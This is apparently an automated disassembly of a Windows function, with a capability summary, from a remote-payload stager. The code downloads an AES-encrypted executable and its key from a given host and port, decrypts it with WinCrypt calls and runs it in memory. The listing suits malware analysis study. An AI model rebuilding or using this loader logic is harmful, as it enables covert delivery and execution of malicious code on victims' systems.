Function at 0x140001d10
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, rdx
cmp ecx, 5
je 0x140001d4c
mov rdx, qword [rdx]
lea rcx, str.___Usage:__s__Host___Port___Cipher___Key__n
call fcn.140001010
mov eax, 1
jmp 0x1400020df
mov rcx, qword [rdx + 0x10]
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], rdi
mov rdi, qword [rdx + 8]
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x90], r15
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rsi, qword [rbx + 0x18]
mov r12, 0xffffffffffffffff
mov rbp, qword [rbx + 0x20]
mov r14d, eax
mov rbx, r12
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140001da7
inc rbx
mov eax, 2
mul rbx
cmovb rax, r12
mov rcx, rax
call fcn.140002434
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov r15, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rbx, r12
nop dword [rax]
inc rbx
cmp byte [rsi + rbx], 0
jne 0x140001de0
inc rbx
mov eax, 2
mul rbx
cmovb rax, r12
mov rcx, rax
call fcn.140002434
mov r8, rbx
mov rdx, rsi
mov rcx, rax
mov r13, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov rbx, r12
inc rbx
cmp byte [rbx + rbp], 0
jne 0x140001e15
inc rbx
mov eax, 2
mul rbx
cmovb rax, r12
mov rcx, rax
call fcn.140002434
mov r8, rbx
mov rdx, rbp
mov rcx, rax
mov r12, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov r8d, r14d
lea rcx, str._n_n___Get_AES_Encrypted_PE_from__s:_d_n
mov rdx, rdi
call fcn.140001010
mov r9, r13
lea rcx, [rsp + 0x40]
mov r8d, r14d
mov rdx, r15
call fcn.140001210
mov r13, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xc0]
movups xmm0, xmmword [rax]
movq rsi, xmm0
movups xmmword [rsp + 0x78], xmm0
test rsi, rsi
jne 0x140001ea4
lea rcx, str.____Failed_in_getting_AES_Encrypted_PE_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400020b7
mov r8d, r14d
lea rcx, str._n___Get_AES_Key_from__s:_d_n
mov rdx, rdi
call fcn.140001010
mov r9, r12
lea rcx, [rsp + 0x50]
mov r8d, r14d
mov rdx, r15
call fcn.140001210
movups xmm0, xmmword [rax]
movq rbx, xmm0
movups xmmword [rsp + 0x30], xmm0
test rbx, rbx
jne 0x140001ef1
lea rcx, str.____Failed_in_getting_key_n
call fcn.140001010
mov eax, 0xfffffffe
jmp 0x1400020b7
mov rdx, rsi
lea rcx, str._n___AES_PE_Address_:__p_n
call fcn.140001010
mov rdx, rbx
lea rcx, str._n___AES_Key_Address_:__p_n
call fcn.140001010
lea rcx, str._n___Decrypt_the_PE__n
call fcn.140001010
movups xmm0, xmmword [rsp + 0x78]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x68]
psrldq xmm0, 8
xor edx, edx
movd dword [rsp + 0x60], xmm0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140001f66
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
jmp 0x14000207b
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140001fa3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
jmp 0x14000207b
movups xmm0, xmmword [rsp + 0x30]
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
mov rdx, rbx
psrldq xmm0, 8
movq r8, xmm0
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x140001fe0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
jmp 0x14000207b
mov r8, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x14000201c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
jmp 0x14000207b
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140002058
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
jmp 0x14000207b
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rcx, str._n___PE_Decrypted_n
call fcn.140001010
lea rax, str.whatEver
lea rcx, str._n___Loading_and_Running_PE_n
mov qword [0x140007728], rax
call fcn.140001010
mov rcx, rsi
call fcn.140001a10
lea rcx, str._n___Finished_n
call fcn.140001010
xor eax, eax
mov r14, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa8]
mov rdi, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xd0]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400023d0
add rsp, 0xb0
pop rbx
ret